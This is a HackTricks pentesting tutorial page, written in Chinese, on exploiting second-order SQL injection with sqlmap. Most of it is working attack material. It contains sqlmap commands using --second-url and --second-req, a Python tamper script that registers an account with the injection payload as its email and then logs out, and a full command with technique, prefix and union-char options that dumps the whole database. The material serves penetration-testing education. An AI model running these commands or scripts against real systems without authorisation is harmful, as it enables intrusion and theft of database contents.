hacktricks/src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md

74 lines
3.2 KiB
Markdown

{{#include ../../../banners/hacktricks-training.md}}
**SQLMap 可以利用二次 SQL 注入。**\
您需要提供:
- 保存 **sqlinjection payload****请求**
- **执行** **payload****请求**
保存 SQL 注入 payload 的请求 **与 sqlmap 中的任何其他注入相同**。可以使用 `--second-url``--second-req` 指定 **sqlmap 可以读取注入的输出/执行** 的请求,如果您需要从文件中指示完整请求。
**简单的二次注入示例:**
```bash
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
```
在某些情况下**这还不够**,因为您需要**执行其他操作**,除了发送有效负载和访问不同的页面。
当需要这样做时,您可以使用**sqlmap tamper**。例如,以下脚本将注册一个新用户**使用 sqlmap 有效负载作为电子邮件**并注销。
```python
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
```
一个 **SQLMap tamper 总是在开始注入尝试之前执行,并且必须返回一个有效负载**。在这种情况下,我们不关心有效负载,但我们关心发送一些请求,因此有效负载不会改变。
因此,如果出于某种原因,我们需要一个更复杂的流程来利用二次 SQL 注入,例如:
- 在“email”字段中创建一个包含 SQLi 有效负载的帐户
- 登出
- 使用该帐户登录 (login.txt)
- 发送请求以执行 SQL 注入 (second.txt)
**这条 sqlmap 命令将会有所帮助:**
```bash
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
```
{{#include ../../../banners/hacktricks-training.md}}